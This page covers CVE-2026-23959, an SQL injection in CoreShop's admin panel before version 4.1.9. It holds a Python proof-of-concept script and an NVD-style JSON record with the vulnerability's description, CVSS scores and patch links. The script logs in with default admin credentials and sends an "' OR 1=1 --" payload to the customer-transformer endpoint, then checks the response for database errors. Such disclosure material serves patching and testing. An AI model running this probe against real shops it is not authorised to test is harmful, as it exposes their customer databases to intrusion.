CVE-2026-23959

import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost' # SQL Injection PoC for CVE-2026-23959 # Target: CoreShop CustomerTransformerController # Requires authenticated access to admin panel session = requests.Session() # Login to CoreShop admin panel login_url = f"{target}/admin/login" login_data = { '_username': 'admin', '_password': 'password' } # Login request session.post(login_url, data=login_data) # SQL Injection test payload vulnerable_endpoint = f"{target}/admin/customer-transformer/process" sql_payload = "' OR 1=1 --" params = { 'customer_id': sql_payload, 'action': 'transform' } response = session.get(vulnerable_endpoint, params=params) # Check for SQL error in response if 'SQLSTATE' in response.text or 'mysql' in response.text.lower(): print('[+] SQL Injection vulnerability confirmed!') print('[*] Database error detected in response') else: print('[-] No obvious SQL error detected')

{"cve": {"id": "CVE-2026-23959", "sourceIdentifier": "[email protected]", "published": "2026-01-22T03:15:46.233", "lastModified": "2026-02-17T16:13:17.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CoreShop is a Pimcore enhanced eCommerce solution. An error-based SQL Injection vulnerability was identified in versions prior to 4.1.9 in the `CustomerTransformerController` within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction. Version 4.1.9 fixes the issue."}, {"lang": "es", "value": "CoreShop es una solución de comercio electrónico mejorada de Pimcore. Se identificó una vulnerabilidad de inyección SQL basada en errores en versiones anteriores a la 4.1.9 en el 'CustomerTransformerController' dentro del panel de administración de CoreShop. El endpoint afectado interpola incorrectamente la entrada proporcionada por el usuario en una consulta SQL, lo que lleva a la divulgación de errores de la base de datos y a la posible extracción de datos. La versión 4.1.9 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-564"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coreshop:coreshop:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.9", "matchCriteriaId": "AD4072DD-B1C7-43DE-9201-64819589B281"}]}]}], "references": [{"url": "https://github.com/coreshop/CoreShop/commit/af80b8f5c7df5f02f44e9c5e0a4a564de274eec2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/coreshop/CoreShop/releases/tag/4.1.9", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/coreshop/CoreShop/security/advisories/GHSA-fqcv-8859-86x2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}